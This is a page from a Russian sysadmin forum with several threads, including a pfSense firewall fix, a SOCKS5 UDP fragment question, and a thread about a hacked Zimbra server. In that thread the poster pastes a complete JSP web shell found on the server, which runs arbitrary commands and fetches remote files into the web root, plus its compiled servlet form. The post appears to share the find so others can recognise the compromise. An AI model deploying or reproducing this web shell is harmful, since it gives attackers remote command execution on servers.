        в общем, выяснил. правила Pfsense действуют по умолчанию на вновь устанавливаеемые соединениия. Причем, даже остановка l2tp сервера уже установленные не сбрасывает. Поэтому, вновь созданные правила на установленные соединения не действуют. Пришлось остановить l2tp сервер, найти в закладке State эти соединения, сбросить их, после чего только запретное правило начало действовать. Запустил l2tp сервер. клиент ломится, но теперь дальше фиреволла не проходит.

        сообщить модератору +/ответить
Strongswan IKEV2 не подключаются больше одного устройства сети, !*! CrowKIller, (VPN, IPSec) 20-Мрт-22, 21:38  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
Настроить TLS на EXIM-е (SMTP сервере), !*! korbnik, (Шифрование, SSH, SSL / Linux) 02-Ноя-23, 12:25  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
UDP через SOCKS5, !*! WeSTMan, (Разное / Другая система) 20-Июн-20, 13:02  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • Подробно описал то, что в общем-то значения не имеет, ничего не сказал о том, чт, !*! Аноним (1), 14:26 , 20-Июн-20 (1)
    > Подскажите, пожалуйста, что я сделал неверно

    Подробно описал то, что в общем-то значения не имеет, ничего не сказал о том, что может дать пищу для ума. Что за сервер, как именно данные отправляешь, что на сервере с файрволлом, что на клиенте с файрволлом...


    сообщить модератору +/ответить
  • зачем там 01 стоит если это начало большой датаграммы, что не влезла в один пак, !*! Аноним (2), 14:31 , 20-Июн-20 (2)
    > 1 байт - фрагмент

    зачем там 01 стоит? если это начало большой датаграммы, что не влезла в один пакет, то должен быть последующий с увеличенным номером, и финальный с >=0x80

       Поле FRAG показывает, является ли эта датаграмма самостоятельной или
       же фрагментом. Если датаграмма - фрагмент, то установленный старший
       бит является признаком последнего фрагмента, в то время как значение
       X'00' показывает, что это обычная датаграмма. Значения от 1 до 127
       обозначают на позицию фрагменте в последовательности. Каждый
       получатель будет иметь REASSEMBLY QUEUE (очередь сборки) и REASSEMBLY
       TIMER (таймер сборки) связанные с такой фрагментной датаграммой.
       Очередь сборки должна быть переинициализирована и связанные с ЙЙней
       фрагменты выкинуты всякий раз при истечении таймера сборки или
       с приходом новой датаграммы, чье значение в поле FRAG меньше,
       чем наибольшее значение поля FRAG датаграмм, обработанных
       при сборке фрагмента. Таймер сборки должен быть не менее 5 секунд.
       Приложениям рекомендуется избегать фрагментацию везде, где только
       это возможно.

       Реализация фрагментации опциональна, в реализациях где фрагментация
       не поддерживается, должны отбрасываться любые датаграммы, у которых
       поле FRAG отлично от X'00'.

    сообщить модератору +/ответить
    • gt оверквотинг удален Выставил фрагмент в 00, все заработало Спасибо Истина , !*! WeSTMan (ok), 14:55 , 20-Июн-20 (3)
      >[оверквотинг удален]
      >    с приходом новой датаграммы, чье значение в поле FRAG
      > меньше,
      >    чем наибольшее значение поля FRAG датаграмм, обработанных
      >    при сборке фрагмента. Таймер сборки должен быть не менее
      > 5 секунд.
      >    Приложениям рекомендуется избегать фрагментацию везде, где только
      >    это возможно.
      >    Реализация фрагментации опциональна, в реализациях где фрагментация
      >    не поддерживается, должны отбрасываться любые датаграммы, у которых
      >    поле FRAG отлично от X'00'.

      Выставил фрагмент в 00, все заработало. Спасибо. Истина так близко была)

      сообщить модератору +/ответить
Скрыть реальный ай-пи, !*! bp1136, (VPN, IPSec / Linux) 15-Окт-23, 11:50  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]


Exim 'бомбят', !*! Дмитрий, (Блокирование спама и вирусов) 30-Сен-23, 17:28  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
Новый tcp/ip ? Кто разобрался ?, !*! Аноним, 17-Ноя-21, 20:34  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
Существуют ли бесплатные wireguard сервера?, !*! anonymous, (VPN, IPSec / Linux) 30-Янв-23, 14:07  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
Zimbra поломали, !*! BarS, (Linux привязка / Linux) 25-Янв-21, 15:43  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • if G5X49Q equals request getParameter pwd String strCmd, !*! BarS (??), 15:47 , 25-Янв-21 (1)
    <%
        if("G5X49Q".equals(request.getParameter("pwd")))
        {
            String strCmd=request.getParameter("cmd");
            String strUrl=request.getParameter("url");
            String strFile=request.getParameter("file");
            if(null!=strCmd)
            {
                java.io.InputStream in=Runtime.getRuntime().exec(strCmd).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                out.print("<pre>");
                while((a=in.read(b))!=-1)
                {
                    out.println(new String(b));
                }
                out.print("</pre>");
            }
            if(null!=strUrl&&null!=strFile)
            {
                java.io.InputStream in = new java.net.URL(strUrl).openStream();
                byte[] b = new byte[1024];
                java.io.ByteArrayOutputStream baos = new
                java.io.ByteArrayOutputStream();
                int a = -1;
                while ((a = in.read(b)) != -1)
                {
                    baos.write(b, 0, a);
                }
                new java.io.FileOutputStream(application.getRealPath("/")+"/"+strFile).write(baos.toByteArray());
            }
            out.println("MtGqKu3y");
        }
        else
        {
            //out.println("no token");
        }
    %>
    сообщить модератору +/ответить
    • Generated by the Jasper component of Apache Tomcat Version jetty 9 3 5 v, !*! BarS (??), 15:50 , 25-Янв-21 (2)
      /*
      * Generated by the Jasper component of Apache Tomcat
      * Version: jetty/9.3.5.v20151012
      * Generated at: 2019-04-02 11:49:44 UTC
      * Note: The last modified time of this file was set to
      *       the last modified time of the source file after
      *       generation to assist with modification tracking.
      */
      package org.apache.jsp.img;

      import javax.servlet.*;
      import javax.servlet.http.*;
      import javax.servlet.jsp.*;

      public final class fc47_jsp extends org.apache.jasper.runtime.HttpJspBase
          implements org.apache.jasper.runtime.JspSourceDependent,
                       org.apache.jasper.runtime.JspSourceImports {

        private static final javax.servlet.jsp.JspFactory _jspxFactory =
                javax.servlet.jsp.JspFactory.getDefaultFactory();

        private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;

        private static final java.util.Set<java.lang.String> _jspx_imports_packages;

        private static final java.util.Set<java.lang.String> _jspx_imports_classes;

        static {
          _jspx_imports_packages = new java.util.HashSet<>();
          _jspx_imports_packages.add("javax.servlet");
          _jspx_imports_packages.add("javax.servlet.http");
          _jspx_imports_packages.add("javax.servlet.jsp");
          _jspx_imports_classes = null;
        }

        private volatile javax.el.ExpressionFactory _el_expressionfactory;
        private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;

        public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
          return _jspx_dependants;
        }

        public java.util.Set<java.lang.String> getPackageImports() {
          return _jspx_imports_packages;
        }

        public java.util.Set<java.lang.String> getClassImports() {
          return _jspx_imports_classes;
        }

        public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
          if (_el_expressionfactory == null) {
            synchronized (this) {
              if (_el_expressionfactory == null) {
                _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
              }
            }
          }
          return _el_expressionfactory;
        }

        public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
          if (_jsp_instancemanager == null) {
            synchronized (this) {
              if (_jsp_instancemanager == null) {
                _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
              }
            }
          }
          return _jsp_instancemanager;
        }

        public void _jspInit() {
        }

        public void _jspDestroy() {
        }

        public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
              throws java.io.IOException, javax.servlet.ServletException {

      final java.lang.String _jspx_method = request.getMethod();
      if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
      response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET POST or HEAD");
      return;
      }

          final javax.servlet.jsp.PageContext pageContext;
          javax.servlet.http.HttpSession session = null;
          final javax.servlet.ServletContext application;
          final javax.servlet.ServletConfig config;
          javax.servlet.jsp.JspWriter out = null;
          final java.lang.Object page = this;
          javax.servlet.jsp.JspWriter _jspx_out = null;
          javax.servlet.jsp.PageContext _jspx_page_context = null;


          try {
            response.setContentType("text/html");
            pageContext = _jspxFactory.getPageContext(this, request, response,
                        null, true, 8192, true);
            _jspx_page_context = pageContext;
            application = pageContext.getServletContext();
            config = pageContext.getServletConfig();
            session = pageContext.getSession();
            out = pageContext.getOut();
            _jspx_out = out;


          if("G5X49Q".equals(request.getParameter("pwd")))
          {
              String strCmd=request.getParameter("cmd");
              String strUrl=request.getParameter("url");
              String strFile=request.getParameter("file");
              if(null!=strCmd)
              {
                  java.io.InputStream in=Runtime.getRuntime().exec(strCmd).getInputStream();
                  int a = -1;
                  byte[] b = new byte[2048];
                  out.print("<pre>");
                  while((a=in.read(b))!=-1)
                  {
                      out.println(new String(b));
                  }
                  out.print("</pre>");
              }
              if(null!=strUrl&&null!=strFile)
              {
                  java.io.InputStream in = new java.net.URL(strUrl).openStream();
                  byte[] b = new byte[1024];
                  java.io.ByteArrayOutputStream baos = new
                  java.io.ByteArrayOutputStream();
                  int a = -1;
                  while ((a = in.read(b)) != -1)
                  {
                      baos.write(b, 0, a);
                  }
                  new java.io.FileOutputStream(application.getRealPath("/")+"/"+strFile).write(baos.toByteArray());
              }
              out.println("MtGqKu3y");
          }
          else
          {
              //out.println("no token");
          }

          } catch (java.lang.Throwable t) {
            if (!(t instanceof javax.servlet.jsp.SkipPageException)){
              out = _jspx_out;
              if (out != null && out.getBufferSize() != 0)
                try {
                  if (response.isCommitted()) {
                    out.flush();
                  } else {
                    out.clearBuffer();
                  }
                } catch (java.io.IOException e) {}
              if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
              else throw new ServletException(t);
            }
          } finally {
            _jspxFactory.releasePageContext(_jspx_page_context);
          }
        }
      }

      сообщить модератору +/ответить
 
Пометить прочитанным Создать тему
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | Архив | Избранное | Мое | Новое | | |



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру